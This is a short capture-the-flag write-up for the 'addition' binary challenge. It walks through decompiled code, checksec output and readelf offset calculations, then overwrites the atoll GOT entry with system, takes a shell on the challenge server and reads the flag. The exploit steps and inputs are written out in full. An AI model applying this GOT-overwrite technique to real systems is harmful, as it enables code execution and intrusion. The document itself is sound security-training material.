addition
September 8, 20252 minutes
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 v3; // [rsp+0h] [rbp-30h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
puts("+++++++++++++++++++++++++++");
puts(" WELCOME TO ADDITION");
puts("+++++++++++++++++++++++++++");
do
{
write(1, "add where? ", 0xBuLL);
fgets(s, 16, stdin);
v3 = atoll(s);
write(1, "add what? ", 0xAuLL);
fgets(s, 16, stdin);
*(_QWORD *)((char *)&buf + v3) += atoll(s);
}
while ( v3 != 1337 );
exit(0);
}
The program first asks for a position (a number) and then a value. With that data, it interprets the position as an offset in bytes from the address of buf, and adds the entered value to the contents of that memory address
The program has Partial RELRO, which allows the GOT to be modified
pwndbg> checksec
File: /home/d3bo/Desktop/ctf/imaginary/addition/vuln
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
The objective will be to attempt to modify the GOT
There are several parts of the program where atoll is executed with a user-controlled value as its argument
fgets(s, 16, stdin);
v3 = atoll(s);
If atoll is overwritten with system, any user input such as /bin/sh could be executed
With readelf it is possible to check the distance between buf in the .bss section and the atoll entry in the GOT
➜ 23:42 d3bo addition$ readelf -s vuln | grep buf
27: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.2.5
36: 0000000000004069 0 OBJECT GLOBAL DEFAULT 27 buf
➜ 23:45 d3bo addition readelf -r vuln | grep atoll
000000004020 000700000007 R_X86_64_JUMP_SLO 0000000000000000 atoll@GLIBC_2.2.5 + 0
>>> # ATOLL - BUF
>>> 0x4020 - 0x4069
-73
So the distance from buf to the atoll GOT entry is -73 bytes
The next step is to calculate the difference between system and atol
➜ 0:16 d3bo addition readelf -s libc.so.6 | grep -e " system@" -e " atoll@"
1481: 0000000000050d60 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
2552: 0000000000043670 16 FUNC GLOBAL DEFAULT 15 atoll@@GLIBC_2.2.5
>>> # SYSTEM offset - ATOLL offset
>>> 0x50d60 - 0x43670
55024
The result is 55024, meaning that 55024 must be added to the address of atoll in the GOT in order to convert it into system
➜ 0:22 d3bo addition$ nc addition.chal.imaginaryctf.org 1337
== proof-of-work: disabled ==
+++++++++++++++++++++++++++
WELCOME TO ADDITION
+++++++++++++++++++++++++++
add where? -73
add what? 55024
add where? /bin/sh
ls
chal
flag.txt
cat flag.txt
ictf{i_love_finding_offsets_**REDACTED**}
